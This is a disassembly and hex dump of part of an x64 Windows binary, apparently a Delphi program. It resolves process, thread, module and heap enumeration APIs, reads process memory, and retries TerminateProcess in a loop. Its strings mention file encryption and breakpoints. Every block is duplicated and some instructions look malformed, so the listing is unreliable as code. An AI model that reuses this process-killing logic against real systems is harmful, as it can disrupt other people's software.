004383c4add edx, edx
004383c6add edx, edx
004383c8add edx, edx
004383calea rdx, [rdx+2*rdx]
004383cemovsxd rdx, edx
004383d1call fn_4383a0
004383d6add rsp, 40
004383daret
004383c0
004383c0fn_4383c0:
004383c0sub rsp, 40
004383c4add edx, edx
004383c6add edx, edx
004383c8add edx, edx
004383calea rdx, [rdx+2*rdx]
004383cemovsxd rdx, edx
004383d1call fn_4383a0
004383d6add rsp, 40
004383daret
004383c0
004383db
004383db // align 0x10
004383db // align 0x10
004383e0
004383e0Unit38.finalization:
004383e0add [rip+0x37f95], 1
004383e7cmp [rip+0x37f8e], 0
004383eeret
004383e0
004383e0Unit38.finalization:
004383e0add [rip+0x37f95], 1
004383e7cmp [rip+0x37f8e], 0
004383eeret
004383e0
004383ef
004383ef // align 0x10
004383ef // align 0x10
004383f0
004383f0Unit38.initialization:
004383f0sub [rip+0x37f85], 1
004383f7cmp [rip+0x37f7e], -1
004383feret
004383f0
004383f0Unit38.initialization:
004383f0sub [rip+0x37f85], 1
004383f7cmp [rip+0x37f7e], -1
004383feret
004383f0
004383ff
004383ff // align 0x10
004383ff // align 0x10
00438400
00438400fn_438400:
00438400sub rsp, 40
00438404cmp [rip+0x37f7c], 0
0043840cjne 0x43863b
00438412lea rcx, [rip+579]
00438419call GetModuleHandleW
0043841emov [rip+0x37f63], rax
00438425cmp [rip+0x37f5b], 0
0043842dje 0x43863b
00438433mov rcx, [rip+0x37f4e]
0043843alea rdx, [rip+565]
00438441call fn_416780
00438446mov [rip+0x37f43], rax
0043844dmov rcx, [rip+0x37f34]
00438454lea rdx, [rip+589]
0043845bcall fn_416780
00438460mov [rip+0x37f31], rax
00438467mov rcx, [rip+0x37f1a]
0043846elea rdx, [rip+595]
00438475call fn_416780
0043847amov [rip+0x37f1f], rax
00438481mov rcx, [rip+0x37f00]
00438488lea rdx, [rip+599]
0043848fcall fn_416780
00438494mov [rip+0x37f0d], rax
0043849bmov rcx, [rip+0x37ee6]
004384a2lea rdx, [rip+597]
004384a9call fn_416780
004384aemov [rip+0x37efb], rax
004384b5mov rcx, [rip+0x37ecc]
004384bclea rdx, [rip+593]
004384c3call fn_416780
004384c8mov [rip+0x37ee9], rax
004384cfmov rcx, [rip+0x37eb2]
004384d6lea rdx, [rip+623]
004384ddcall fn_416780
004384e2mov [rip+0x37ee7], rax
004384e9mov rcx, [rip+0x37e98]
004384f0lea rdx, [rip+627]
004384f7call fn_416780
004384fcmov [rip+0x37ed5], rax
00438503mov rcx, [rip+0x37e7e]
0043850alea rdx, [rip+629]
00438511call fn_416780
00438516mov [rip+0x37ec3], rax
0043851dmov rcx, [rip+0x37e64]
00438524lea rdx, [rip+635]
0043852bcall fn_416780
00438530mov [rip+0x37eb1], rax
00438537mov rcx, [rip+0x37e4a]
0043853elea rdx, [rip+577]
00438545call fn_416780
0043854amov [rip+0x37e6f], rax
00438551mov rcx, [rip+0x37e30]
00438558lea rdx, [rip+583]
0043855fcall fn_416780
00438564mov [rip+0x37e5d], rax
0043856bmov rcx, [rip+0x37e16]
00438572lea rdx, [rip+587]
00438579call fn_416780
0043857emov [rip+0x37e6b], rax
00438585mov rcx, [rip+0x37dfc]
0043858clea rdx, [rip+589]
00438593call fn_416780
00438598mov [rip+0x37e59], rax
0043859fmov rcx, [rip+0x37de2]
004385a6lea rdx, [rip+589]
004385adcall fn_416780
004385b2mov [rip+0x37e57], rax
004385b9mov rcx, [rip+0x37dc8]
004385c0lea rdx, [rip+591]
004385c7call fn_416780
004385ccmov [rip+0x37e45], rax
004385d3mov rcx, [rip+0x37dae]
004385dalea rdx, [rip+591]
004385e1call fn_416780
004385e6mov [rip+0x37e33], rax
004385edmov rcx, [rip+0x37d94]
004385f4lea rdx, [rip+595]
004385fbcall fn_416780
00438600mov [rip+0x37e21], rax
00438607mov rcx, [rip+0x37d7a]
0043860elea rdx, [rip+539]
00438615call fn_416780
0043861amov [rip+0x37ddf], rax
00438621mov rcx, [rip+0x37d60]
00438628lea rdx, [rip+543]
0043862fcall fn_416780
00438634mov [rip+0x37dcd], rax
0043863b
0043863bloc_43863b:
0043863bcmp [rip+0x37d45], 0
00438643je 0x43864f
00438645cmp [rip+0x37d43], 0
0043864djne 0x438653
0043864f
0043864floc_43864f:
0043864fxor eax, eax
00438651jmp 0x438655
00438653
00438653loc_438653:
00438653mov al, 1
00438655
00438655loc_438655:
00438655add rsp, 40
00438659ret
00438400
00438400fn_438400:
00438400sub rsp, 40
00438404cmp [rip+0x37f7c], 0
0043840cjne 0x43863b
00438412lea rcx, [rip+579]
00438419call GetModuleHandleW
0043841emov [rip+0x37f63], rax
00438425cmp [rip+0x37f5b], 0
0043842dje 0x43863b
00438433mov rcx, [rip+0x37f4e]
0043843alea rdx, [rip+565]
00438441call fn_416780
00438446mov [rip+0x37f43], rax
0043844dmov rcx, [rip+0x37f34]
00438454lea rdx, [rip+589]
0043845bcall fn_416780
00438460mov [rip+0x37f31], rax
00438467mov rcx, [rip+0x37f1a]
0043846elea rdx, [rip+595]
00438475call fn_416780
0043847amov [rip+0x37f1f], rax
00438481mov rcx, [rip+0x37f00]
00438488lea rdx, [rip+599]
0043848fcall fn_416780
00438494mov [rip+0x37f0d], rax
0043849bmov rcx, [rip+0x37ee6]
004384a2lea rdx, [rip+597]
004384a9call fn_416780
004384aemov [rip+0x37efb], rax
004384b5mov rcx, [rip+0x37ecc]
004384bclea rdx, [rip+593]
004384c3call fn_416780
004384c8mov [rip+0x37ee9], rax
004384cfmov rcx, [rip+0x37eb2]
004384d6lea rdx, [rip+623]
004384ddcall fn_416780
004384e2mov [rip+0x37ee7], rax
004384e9mov rcx, [rip+0x37e98]
004384f0lea rdx, [rip+627]
004384f7call fn_416780
004384fcmov [rip+0x37ed5], rax
00438503mov rcx, [rip+0x37e7e]
0043850alea rdx, [rip+629]
00438511call fn_416780
00438516mov [rip+0x37ec3], rax
0043851dmov rcx, [rip+0x37e64]
00438524lea rdx, [rip+635]
0043852bcall fn_416780
00438530mov [rip+0x37eb1], rax
00438537mov rcx, [rip+0x37e4a]
0043853elea rdx, [rip+577]
00438545call fn_416780
0043854amov [rip+0x37e6f], rax
00438551mov rcx, [rip+0x37e30]
00438558lea rdx, [rip+583]
0043855fcall fn_416780
00438564mov [rip+0x37e5d], rax
0043856bmov rcx, [rip+0x37e16]
00438572lea rdx, [rip+587]
00438579call fn_416780
0043857emov [rip+0x37e6b], rax
00438585mov rcx, [rip+0x37dfc]
0043858clea rdx, [rip+589]
00438593call fn_416780
00438598mov [rip+0x37e59], rax
0043859fmov rcx, [rip+0x37de2]
004385a6lea rdx, [rip+589]
004385adcall fn_416780
004385b2mov [rip+0x37e57], rax
004385b9mov rcx, [rip+0x37dc8]
004385c0lea rdx, [rip+591]
004385c7call fn_416780
004385ccmov [rip+0x37e45], rax
004385d3mov rcx, [rip+0x37dae]
004385dalea rdx, [rip+591]
004385e1call fn_416780
004385e6mov [rip+0x37e33], rax
004385edmov rcx, [rip+0x37d94]
004385f4lea rdx, [rip+595]
004385fbcall fn_416780
00438600mov [rip+0x37e21], rax
00438607mov rcx, [rip+0x37d7a]
0043860elea rdx, [rip+539]
00438615call fn_416780
0043861amov [rip+0x37ddf], rax
00438621mov rcx, [rip+0x37d60]
00438628lea rdx, [rip+543]
0043862fcall fn_416780
00438634mov [rip+0x37dcd], rax
0043863b
0043863bloc_43863b:
0043863bcmp [rip+0x37d45], 0
00438643je 0x43864f
00438645cmp [rip+0x37d43], 0
0043864djne 0x438653
0043864f
0043864floc_43864f:
0043864fxor eax, eax
00438651jmp 0x438655
00438653
00438653loc_438653:
00438653mov al, 1
00438655
00438655loc_438655:
00438655add rsp, 40
00438659ret
00438400
0043865a
0043865a 00 00 6b 00 65 00 ..k.e.
00438660 72 00 6e 00 65 00 6c 00 33 00 32 00 2e 00 64 00 r.n.e.l.3.2...d.
00438670 6c 00 6c 00 00 00 43 00 72 00 65 00 61 00 74 00 l.l...C.r.e.a.t.
00438680 65 00 54 00 6f 00 6f 00 6c 00 68 00 65 00 6c 00 e.T.o.o.l.h.e.l.
00438690 70 00 33 00 32 00 53 00 6e 00 61 00 70 00 73 00 p.3.2.S.n.a.p.s.
004386a0 68 00 6f 00 74 00 00 00 48 00 65 00 61 00 70 00 h.o.t...H.e.a.p.
004386b0 33 00 32 00 4c 00 69 00 73 00 74 00 46 00 69 00 3.2.L.i.s.t.F.i.
004386c0 72 00 73 00 74 00 00 00 48 00 65 00 61 00 70 00 r.s.t...H.e.a.p.
004386d0 33 00 32 00 4c 00 69 00 73 00 74 00 4e 00 65 00 3.2.L.i.s.t.N.e.
004386e0 78 00 74 00 00 00 48 00 65 00 61 00 70 00 33 00 x.t...H.e.a.p.3.
004386f0 32 00 46 00 69 00 72 00 73 00 74 00 00 00 48 00 2.F.i.r.s.t...H.
00438700 65 00 61 00 70 00 33 00 32 00 4e 00 65 00 78 00 e.a.p.3.2.N.e.x.
00438710 74 00 00 00 54 00 6f 00 6f 00 6c 00 68 00 65 00 t...T.o.o.l.h.e.
00438720 6c 00 70 00 33 00 32 00 52 00 65 00 61 00 64 00 l.p.3.2.R.e.a.d.
00438730 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 4d 00 P.r.o.c.e.s.s.M.
00438740 65 00 6d 00 6f 00 72 00 79 00 00 00 50 00 72 00 e.m.o.r.y...P.r.
00438750 6f 00 63 00 65 00 73 00 73 00 33 00 32 00 46 00 o.c.e.s.s.3.2.F.
00438760 69 00 72 00 73 00 74 00 00 00 50 00 72 00 6f 00 i.r.s.t...P.r.o.
00438770 63 00 65 00 73 00 73 00 33 00 32 00 4e 00 65 00 c.e.s.s.3.2.N.e.
00438780 78 00 74 00 00 00 50 00 72 00 6f 00 63 00 65 00 x.t...P.r.o.c.e.
00438790 73 00 73 00 33 00 32 00 46 00 69 00 72 00 73 00 s.s.3.2.F.i.r.s.
004387a0 74 00 57 00 00 00 50 00 72 00 6f 00 63 00 65 00 t.W...P.r.o.c.e.
004387b0 73 00 73 00 33 00 32 00 4e 00 65 00 78 00 74 00 s.s.3.2.N.e.x.t.
004387c0 57 00 00 00 54 00 68 00 72 00 65 00 61 00 64 00 W...T.h.r.e.a.d.
004387d0 33 00 32 00 46 00 69 00 72 00 73 00 74 00 00 00 3.2.F.i.r.s.t...
004387e0 54 00 68 00 72 00 65 00 61 00 64 00 33 00 32 00 T.h.r.e.a.d.3.2.
004387f0 4e 00 65 00 78 00 74 00 00 00 4d 00 6f 00 64 00 N.e.x.t...M.o.d.
00438800 75 00 6c 00 65 00 33 00 32 00 46 00 69 00 72 00 u.l.e.3.2.F.i.r.
00438810 73 00 74 00 00 00 4d 00 6f 00 64 00 75 00 6c 00 s.t...M.o.d.u.l.
00438820 65 00 33 00 32 00 4e 00 65 00 78 00 74 00 00 00 e.3.2.N.e.x.t...
00438830 4d 00 6f 00 64 00 75 00 6c 00 65 00 33 00 32 00 M.o.d.u.l.e.3.2.
00438840 46 00 69 00 72 00 73 00 74 00 57 00 00 00 4d 00 F.i.r.s.t.W...M.
00438850 6f 00 64 00 75 00 6c 00 65 00 33 00 32 00 4e 00 o.d.u.l.e.3.2.N.
00438860 65 00 78 00 74 00 57 00 00 00 cc cc cc cc cc cc e.x.t.W.........
0043865a 00 00 6b 00 65 00 ..k.e.
00438660 72 00 6e 00 65 00 6c 00 33 00 32 00 2e 00 64 00 r.n.e.l.3.2...d.
00438670 6c 00 6c 00 00 00 43 00 72 00 65 00 61 00 74 00 l.l...C.r.e.a.t.
00438680 65 00 54 00 6f 00 6f 00 6c 00 68 00 65 00 6c 00 e.T.o.o.l.h.e.l.
00438690 70 00 33 00 32 00 53 00 6e 00 61 00 70 00 73 00 p.3.2.S.n.a.p.s.
004386a0 68 00 6f 00 74 00 00 00 48 00 65 00 61 00 70 00 h.o.t...H.e.a.p.
004386b0 33 00 32 00 4c 00 69 00 73 00 74 00 46 00 69 00 3.2.L.i.s.t.F.i.
004386c0 72 00 73 00 74 00 00 00 48 00 65 00 61 00 70 00 r.s.t...H.e.a.p.
004386d0 33 00 32 00 4c 00 69 00 73 00 74 00 4e 00 65 00 3.2.L.i.s.t.N.e.
004386e0 78 00 74 00 00 00 48 00 65 00 61 00 70 00 33 00 x.t...H.e.a.p.3.
004386f0 32 00 46 00 69 00 72 00 73 00 74 00 00 00 48 00 2.F.i.r.s.t...H.
00438700 65 00 61 00 70 00 33 00 32 00 4e 00 65 00 78 00 e.a.p.3.2.N.e.x.
00438710 74 00 00 00 54 00 6f 00 6f 00 6c 00 68 00 65 00 t...T.o.o.l.h.e.
00438720 6c 00 70 00 33 00 32 00 52 00 65 00 61 00 64 00 l.p.3.2.R.e.a.d.
00438730 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 4d 00 P.r.o.c.e.s.s.M.
00438740 65 00 6d 00 6f 00 72 00 79 00 00 00 50 00 72 00 e.m.o.r.y...P.r.
00438750 6f 00 63 00 65 00 73 00 73 00 33 00 32 00 46 00 o.c.e.s.s.3.2.F.
00438760 69 00 72 00 73 00 74 00 00 00 50 00 72 00 6f 00 i.r.s.t...P.r.o.
00438770 63 00 65 00 73 00 73 00 33 00 32 00 4e 00 65 00 c.e.s.s.3.2.N.e.
00438780 78 00 74 00 00 00 50 00 72 00 6f 00 63 00 65 00 x.t...P.r.o.c.e.
00438790 73 00 73 00 33 00 32 00 46 00 69 00 72 00 73 00 s.s.3.2.F.i.r.s.
004387a0 74 00 57 00 00 00 50 00 72 00 6f 00 63 00 65 00 t.W...P.r.o.c.e.
004387b0 73 00 73 00 33 00 32 00 4e 00 65 00 78 00 74 00 s.s.3.2.N.e.x.t.
004387c0 57 00 00 00 54 00 68 00 72 00 65 00 61 00 64 00 W...T.h.r.e.a.d.
004387d0 33 00 32 00 46 00 69 00 72 00 73 00 74 00 00 00 3.2.F.i.r.s.t...
004387e0 54 00 68 00 72 00 65 00 61 00 64 00 33 00 32 00 T.h.r.e.a.d.3.2.
004387f0 4e 00 65 00 78 00 74 00 00 00 4d 00 6f 00 64 00 N.e.x.t...M.o.d.
00438800 75 00 6c 00 65 00 33 00 32 00 46 00 69 00 72 00 u.l.e.3.2.F.i.r.
00438810 73 00 74 00 00 00 4d 00 6f 00 64 00 75 00 6c 00 s.t...M.o.d.u.l.
00438820 65 00 33 00 32 00 4e 00 65 00 78 00 74 00 00 00 e.3.2.N.e.x.t...
00438830 4d 00 6f 00 64 00 75 00 6c 00 65 00 33 00 32 00 M.o.d.u.l.e.3.2.
00438840 46 00 69 00 72 00 73 00 74 00 57 00 00 00 4d 00 F.i.r.s.t.W...M.
00438850 6f 00 64 00 75 00 6c 00 65 00 33 00 32 00 4e 00 o.d.u.l.e.3.2.N.
00438860 65 00 78 00 74 00 57 00 00 00 cc cc cc cc cc cc e.x.t.W.........
00438870
00438870fn_438870:
00438870push rsi
00438871push rbx
00438872sub rsp, 40
00438876mov ebx, ecx
00438878mov esi, edx
0043887acall fn_438400
0043887ftest al, al
00438881je 0x43888f
00438883mov ecx, ebx
00438885mov edx, esi
00438887call [rip+0x37b03]
0043888djmp 0x438893
0043888f
0043888floc_43888f:
0043888for rax, -1
00438893
00438893loc_438893:
00438893add rsp, 40
00438897pop rbx
00438898pop rsi
00438899ret
00438870
00438870fn_438870:
00438870push rsi
00438871push rbx
00438872sub rsp, 40
00438876mov ebx, ecx
00438878mov esi, edx
0043887acall fn_438400
0043887ftest al, al
00438881je 0x43888f
00438883mov ecx, ebx
00438885mov edx, esi
00438887call [rip+0x37b03]
0043888djmp 0x438893
0043888f
0043888floc_43888f:
0043888for rax, -1
00438893
00438893loc_438893:
00438893add rsp, 40
00438897pop rbx
00438898pop rsi
00438899ret
00438870
0043889a
0043889a // align 0x10
0043889a // align 0x10
004388a0
004388a0fn_4388a0:
004388a0push rsi
004388a1push rbx
004388a2sub rsp, 40
004388a6mov rbx, rcx
004388a9mov rsi, rdx
004388accall fn_438400
004388b1test al, al
004388b3je 0x4388c3
004388b5mov rcx, rbx
004388b8mov rdx, rsi
004388bbcall [rip+0x37aff]
004388c1jmp 0x4388c5
004388c3
004388c3loc_4388c3:
004388c3xor eax, eax
004388c5
004388c5loc_4388c5:
004388c5add rsp, 40
004388c9pop rbx
004388capop rsi
004388cbret
004388a0
004388a0fn_4388a0:
004388a0push rsi
004388a1push rbx
004388a2sub rsp, 40
004388a6mov rbx, rcx
004388a9mov rsi, rdx
004388accall fn_438400
004388b1test al, al
004388b3je 0x4388c3
004388b5mov rcx, rbx
004388b8mov rdx, rsi
004388bbcall [rip+0x37aff]
004388c1jmp 0x4388c5
004388c3
004388c3loc_4388c3:
004388c3xor eax, eax
004388c5
004388c5loc_4388c5:
004388c5add rsp, 40
004388c9pop rbx
004388capop rsi
004388cbret
004388a0
004388cc
004388cc // align 0x10
004388cc // align 0x10
004388d0
004388d0fn_4388d0:
004388d0push rsi
004388d1push rbx
004388d2sub rsp, 40
004388d6mov rbx, rcx
004388d9mov rsi, rdx
004388dccall fn_438400
004388e1test al, al
004388e3je 0x4388f3
004388e5mov rcx, rbx
004388e8mov rdx, rsi
004388ebcall [rip+0x37ad7]
004388f1jmp 0x4388f5
004388f3
004388f3loc_4388f3:
004388f3xor eax, eax
004388f5
004388f5loc_4388f5:
004388f5add rsp, 40
004388f9pop rbx
004388fapop rsi
004388fbret
004388d0
004388d0fn_4388d0:
004388d0push rsi
004388d1push rbx
004388d2sub rsp, 40
004388d6mov rbx, rcx
004388d9mov rsi, rdx
004388dccall fn_438400
004388e1test al, al
004388e3je 0x4388f3
004388e5mov rcx, rbx
004388e8mov rdx, rsi
004388ebcall [rip+0x37ad7]
004388f1jmp 0x4388f5
004388f3
004388f3loc_4388f3:
004388f3xor eax, eax
004388f5
004388f5loc_4388f5:
004388f5add rsp, 40
004388f9pop rbx
004388fapop rsi
004388fbret
004388d0
004388fc
004388fc // align 0x10
004388fc // align 0x10
00438900
00438900Unit39.finalization:
00438900add [rip+0x37a79], 1
00438907cmp [rip+0x37a72], 0
0043890eret
00438900
00438900Unit39.finalization:
00438900add [rip+0x37a79], 1
00438907cmp [rip+0x37a72], 0
0043890eret
00438900
0043890f
0043890f // align 0x10
0043890f // align 0x10
00438910
00438910Unit39.initialization:
00438910sub [rip+0x37a69], 1
00438917cmp [rip+0x37a62], -1
0043891eret
00438910
00438910Unit39.initialization:
00438910sub [rip+0x37a69], 1
00438917cmp [rip+0x37a62], -1
0043891eret
00438910
0043891f
0043891f // align 0x10
00438920
00438920 28 89 43 00 00 00 00 00 0e 09 54 6c 6f 67 5f 66 (.C.......Tlog_f
00438930 69 6c 65 08 03 00 00 01 00 00 00 40 12 40 00 00 ile........@.@..
00438940 00 00 00 f8 02 00 00 00 00 00 00 00 03 00 00 00 ................
00438950 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00438960 02 02 66 61 02 00 40 12 40 00 00 00 00 00 f8 02 ..fa..@.@.......
00438970 00 00 00 00 00 00 02 08 6c 6f 67 5f 70 61 74 68 ........log_path
00438980 02 00 00 10 40 00 00 00 00 00 00 03 00 00 00 00 ....@...........
00438990 00 00 02 0f 6c 6f 67 5f 66 69 6c 65 5f 77 61 6e ....log_file_wan
004389a0 74 65 64 02 00 02 00 00 00 cc cc cc cc cc cc cc ted.............
0043891f // align 0x10
00438920
00438920 28 89 43 00 00 00 00 00 0e 09 54 6c 6f 67 5f 66 (.C.......Tlog_f
00438930 69 6c 65 08 03 00 00 01 00 00 00 40 12 40 00 00 ile........@.@..
00438940 00 00 00 f8 02 00 00 00 00 00 00 00 03 00 00 00 ................
00438950 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00438960 02 02 66 61 02 00 40 12 40 00 00 00 00 00 f8 02 ..fa..@.@.......
00438970 00 00 00 00 00 00 02 08 6c 6f 67 5f 70 61 74 68 ........log_path
00438980 02 00 00 10 40 00 00 00 00 00 00 03 00 00 00 00 ....@...........
00438990 00 00 02 0f 6c 6f 67 5f 66 69 6c 65 5f 77 61 6e ....log_file_wan
004389a0 74 65 64 02 00 02 00 00 00 cc cc cc cc cc cc cc ted.............
004389b0
004389b0fn_4389b0:
004389b0push rbx
004389b1sub rsp, 32
004389b5mov ebx, ecx
004389b7jmp 0x4389d9
004389b9
004389b9loc_4389b9:
004389b9mov rcx, [rip+0x2b590]
004389c0lea rdx, [rip+65]
004389c7call fn_4080c0
004389ccmov rcx, rax
004389cfcall fn_408220
004389d4call fn_405a40
004389d9
004389d9loc_4389d9:
004389d9mov ecx, 1
004389dexor edx, edx
004389e0mov r8l, ebx
004389e3call OpenProcess
004389e8mov rcx, rax
004389ebxor edx, edx
004389edcall TerminateProcess
004389f2test eax, eax
004389f4je 0x4389b9
004389f6add rsp, 32
004389fapop rbx
004389fbret
004389b0
004389b0fn_4389b0:
004389b0push rbx
004389b1sub rsp, 32
004389b5mov ebx, ecx
004389b7jmp 0x4389d9
004389b9
004389b9loc_4389b9:
004389b9mov rcx, [rip+0x2b590]
004389c0lea rdx, [rip+65]
004389c7call fn_4080c0
004389ccmov rcx, rax
004389cfcall fn_408220
004389d4call fn_405a40
004389d9
004389d9loc_4389d9:
004389d9mov ecx, 1
004389dexor edx, edx
004389e0mov r8l, ebx
004389e3call OpenProcess
004389e8mov rcx, rax
004389ebxor edx, edx
004389edcall TerminateProcess
004389f2test eax, eax
004389f4je 0x4389b9
004389f6add rsp, 32
004389fapop rbx
004389fbret
004389b0
004389fc
004389fc b0 04 02 00 ....
00438a00 ff ff ff ff 2f 00 00 00 43 00 61 00 6e 00 27 00 ..../...C.a.n.'.
00438a10 74 00 20 00 74 00 65 00 72 00 6d 00 69 00 6e 00 t. .t.e.r.m.i.n.
00438a20 61 00 74 00 65 00 20 00 70 00 72 00 6f 00 63 00 a.t.e. .p.r.o.c.
00438a30 65 00 73 00 73 00 2e 00 20 00 54 00 72 00 79 00 e.s.s... .T.r.y.
00438a40 20 00 61 00 67 00 61 00 69 00 6e 00 20 00 61 00 .a.g.a.i.n. .a.
00438a50 66 00 74 00 65 00 72 00 20 00 31 00 20 00 73 00 f.t.e.r. .1. .s.
00438a60 65 00 63 00 2e 00 00 00 cc cc cc cc cc cc cc cc e.c.............
004389fc b0 04 02 00 ....
00438a00 ff ff ff ff 2f 00 00 00 43 00 61 00 6e 00 27 00 ..../...C.a.n.'.
00438a10 74 00 20 00 74 00 65 00 72 00 6d 00 69 00 6e 00 t. .t.e.r.m.i.n.
00438a20 61 00 74 00 65 00 20 00 70 00 72 00 6f 00 63 00 a.t.e. .p.r.o.c.
00438a30 65 00 73 00 73 00 2e 00 20 00 54 00 72 00 79 00 e.s.s... .T.r.y.
00438a40 20 00 61 00 67 00 61 00 69 00 6e 00 20 00 61 00 .a.g.a.i.n. .a.
00438a50 66 00 74 00 65 00 72 00 20 00 31 00 20 00 73 00 f.t.e.r. .1. .s.
00438a60 65 00 63 00 2e 00 00 00 cc cc cc cc cc cc cc cc e.c.............
00438a70
00438a70fn_438a70:
00438a70push rbp
00438a71push rdi
00438a72push rsi
00438a73push rbx
00438a74sub rsp, 72
00438a78mov rbp, rsp
00438a7bmov ebx, ecx
00438a7dxor esi, esi
00438a80mov ecx, -10
00438a85call GetStdHandle
00438a8amov rdi, rax
00438a8dmov [rbp+60], 0
00438a94mov rcx, rdi
00438a97lea rdx, [rbp+60]
00438a9bcall GetNumberOfConsoleInputEvents
00438aa0cmp [rbp+60], 0
00438aa4je 0x438af1
00438aa6mov rcx, rdi
00438aa9lea rdx, [rbp+40]
00438aadmov r8l, 1
00438ab3lea r9, [rbp+36]
00438ab7call PeekConsoleInputW
00438abccmp [rbp+36], 0
00438ac0je 0x438af1
00438ac2cmp [rbp+40], 1
00438ac7jne 0x438ae9
00438ac9cmp [rbp+44], 0
00438acdje 0x438adf
00438acftest bx, bx
00438ad2je 0x438ada
00438ad4cmp [rbp+50], bx
00438ad8jne 0x438adf
00438ada
00438adaloc_438ada:
00438adamov sil, 1
00438addjmp 0x438af1
00438adf
00438adfloc_438adf:
00438adfmov rcx, rdi
00438ae2call FlushConsoleInputBuffer
00438ae7jmp 0x438af1
00438ae9
00438ae9loc_438ae9:
00438ae9mov rcx, rdi
00438aeccall FlushConsoleInputBuffer
00438af1
00438af1loc_438af1:
00438af1mov eax, esi
00438af4lea rsp, [rbp+72]
00438af8pop rbx
00438af9pop rsi
00438afapop rdi
00438afbpop rbp
00438afcret
00438a70
00438a70fn_438a70:
00438a70push rbp
00438a71push rdi
00438a72push rsi
00438a73push rbx
00438a74sub rsp, 72
00438a78mov rbp, rsp
00438a7bmov ebx, ecx
00438a7dxor esi, esi
00438a80mov ecx, -10
00438a85call GetStdHandle
00438a8amov rdi, rax
00438a8dmov [rbp+60], 0
00438a94mov rcx, rdi
00438a97lea rdx, [rbp+60]
00438a9bcall GetNumberOfConsoleInputEvents
00438aa0cmp [rbp+60], 0
00438aa4je 0x438af1
00438aa6mov rcx, rdi
00438aa9lea rdx, [rbp+40]
00438aadmov r8l, 1
00438ab3lea r9, [rbp+36]
00438ab7call PeekConsoleInputW
00438abccmp [rbp+36], 0
00438ac0je 0x438af1
00438ac2cmp [rbp+40], 1
00438ac7jne 0x438ae9
00438ac9cmp [rbp+44], 0
00438acdje 0x438adf
00438acftest bx, bx
00438ad2je 0x438ada
00438ad4cmp [rbp+50], bx
00438ad8jne 0x438adf
00438ada
00438adaloc_438ada:
00438adamov sil, 1
00438addjmp 0x438af1
00438adf
00438adfloc_438adf:
00438adfmov rcx, rdi
00438ae2call FlushConsoleInputBuffer
00438ae7jmp 0x438af1
00438ae9
00438ae9loc_438ae9:
00438ae9mov rcx, rdi
00438aeccall FlushConsoleInputBuffer
00438af1
00438af1loc_438af1:
00438af1mov eax, esi
00438af4lea rsp, [rbp+72]
00438af8pop rbx
00438af9pop rsi
00438afapop rdi
00438afbpop rbp
00438afcret
00438a70
00438afd
00438afd // align 0x10
00438afd // align 0x10
00438b00
00438b00fn_438b00:
00438b00push rbx
00438b01sub rsp, 32
00438b05mov ebx, ecx
00438b07mov cx, 13
00438b0bcall fn_438a70
00438b10test al, al
00438b12je 0x438b63
00438b14jmp 0x438b27
00438b16
00438b16loc_438b16:
00438b16mov rcx, [rip+0x2b593]
00438b1dcall fn_4078c0
00438b22call fn_405a40
00438b27
00438b27loc_438b27:
00438b27mov cx, 13
00438b2bcall fn_438a70
00438b30test al, al
00438b32jne 0x438b16
00438b34mov rax, [rip+0x2b4e5]
00438b3bmov [rax+2], 1
00438b3ftest bl, bl
00438b41je 0x438b63
00438b43mov rcx, [rip+0x2b406]
00438b4alea rdx, [rip+39]
00438b51call fn_4080c0
00438b56mov rcx, rax
00438b59call fn_408220
00438b5ecall fn_405a40
00438b63
00438b63loc_438b63:
00438b63add rsp, 32
00438b67pop rbx
00438b68ret
00438b00
00438b00fn_438b00:
00438b00push rbx
00438b01sub rsp, 32
00438b05mov ebx, ecx
00438b07mov cx, 13
00438b0bcall fn_438a70
00438b10test al, al
00438b12je 0x438b63
00438b14jmp 0x438b27
00438b16
00438b16loc_438b16:
00438b16mov rcx, [rip+0x2b593]
00438b1dcall fn_4078c0
00438b22call fn_405a40
00438b27
00438b27loc_438b27:
00438b27mov cx, 13
00438b2bcall fn_438a70
00438b30test al, al
00438b32jne 0x438b16
00438b34mov rax, [rip+0x2b4e5]
00438b3bmov [rax+2], 1
00438b3ftest bl, bl
00438b41je 0x438b63
00438b43mov rcx, [rip+0x2b406]
00438b4alea rdx, [rip+39]
00438b51call fn_4080c0
00438b56mov rcx, rax
00438b59call fn_408220
00438b5ecall fn_405a40
00438b63
00438b63loc_438b63:
00438b63add rsp, 32
00438b67pop rbx
00438b68ret
00438b00
00438b69
00438b69 00 00 00 b0 04 02 00 .......
00438b70 ff ff ff ff 62 00 00 00 43 00 61 00 6e 00 27 00 ....b...C.a.n.'.
00438b80 74 00 20 00 73 00 65 00 74 00 20 00 62 00 72 00 t. .s.e.t. .b.r.
00438b90 65 00 61 00 6b 00 20 00 70 00 6f 00 69 00 6e 00 e.a.k. .p.o.i.n.
00438ba0 74 00 20 00 6f 00 6e 00 20 00 66 00 69 00 6c 00 t. .o.n. .f.i.l.
00438bb0 65 00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 e. .e.n.c.r.y.p.
00438bc0 74 00 69 00 6f 00 6e 00 20 00 74 00 69 00 6d 00 t.i.o.n. .t.i.m.
00438bd0 65 00 2e 00 20 00 50 00 6c 00 65 00 61 00 73 00 e... .P.l.e.a.s.
00438be0 65 00 20 00 77 00 61 00 69 00 74 00 20 00 66 00 e. .w.a.i.t. .f.
00438bf0 6f 00 72 00 20 00 74 00 68 00 65 00 20 00 65 00 o.r. .t.h.e. .e.
00438c00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 n.c.r.y.p.t.i.o.
00438c10 6e 00 20 00 70 00 72 00 6f 00 63 00 65 00 73 00 n. .p.r.o.c.e.s.
00438c20 73 00 20 00 74 00 6f 00 20 00 63 00 6f 00 6d 00 s. .t.o. .c.o.m.
00438c30 70 00 6c 00 65 00 74 00 65 00 2e 00 00 00 cc cc p.l.e.t.e.......
00438b69 00 00 00 b0 04 02 00 .......
00438b70 ff ff ff ff 62 00 00 00 43 00 61 00 6e 00 27 00 ....b...C.a.n.'.
00438b80 74 00 20 00 73 00 65 00 74 00 20 00 62 00 72 00 t. .s.e.t. .b.r.
00438b90 65 00 61 00 6b 00 20 00 70 00 6f 00 69 00 6e 00 e.a.k. .p.o.i.n.
00438ba0 74 00 20 00 6f 00 6e 00 20 00 66 00 69 00 6c 00 t. .o.n. .f.i.l.
